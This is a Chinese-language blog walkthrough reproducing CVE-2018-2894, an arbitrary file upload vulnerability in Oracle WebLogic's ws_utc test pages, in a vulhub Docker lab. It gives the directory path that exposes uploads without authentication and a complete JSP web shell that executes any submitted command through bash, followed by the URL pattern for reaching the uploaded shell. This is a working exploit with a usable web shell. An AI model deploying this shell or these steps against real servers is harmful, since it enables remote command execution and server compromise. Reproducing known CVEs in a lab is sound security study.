Weblogic-任意文件上传漏洞(CVE-2018-2894)

前言

影响的版本:Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3。
受到影响的页面为/ws_utc/config.do和ws_utc/begin.do
利用该漏洞,可以上传任意jsp文件,进而获取服务器权限

环境搭建

此漏洞环境依托于vulhub,前提是搭建好vulhub环境。搭建好环境后,切换到漏洞对应的目录下,启动docker。
在这里插入图片描述
环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面,执行docker-compose logs | grep password可以查看管理员密码,就可以登陆到后台里面了(注意:默认用户名是weblogic,而不是时admin)
在这里插入图片描述
登陆到后台之后就要进行一些配置了,点击base_domain–>高级–>勾上web服务测试页
在这里插入图片描述

漏洞复现

访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
在这里插入图片描述
更改目录的原因是给出的默认目录不在web工作目录,所以要更改到web的工作目录。如果不更改,shell会上传到

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir/config/keystore/目录下面,访问会是404,还要登陆后wls_utc才能访问(http://47.52.239.99:7001/ws_utc/login.do)
静态文件css目录,访问这个目录是不需要权限的
点击安全–>添加,然后上传webshell
在这里插入图片描述
以下是jsp脚本

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
        Process p = Runtime.getRuntime().exec("/bin/bash -c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML>

//如果使用windows环境的话,exec后面的命令就应该改为:cmd.exe /c

前面是一个表单,方便输入命令,下面才是jsp脚本

request.getParameter():作用是在页面中获取后台传入的数据
out.println():控制输出
process:是java程序想要执行linux主要依赖的类,这里定义了一个p
OutputStream/InputStream:控制输入和输出流

上传后的文件名为:时间戳+下划线+上传的文件名名称,然后再用浏览器去访问就行了

http://your-ip:7001/ws_utc/css/config/keystroe/1563019467803_shell.jsp

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值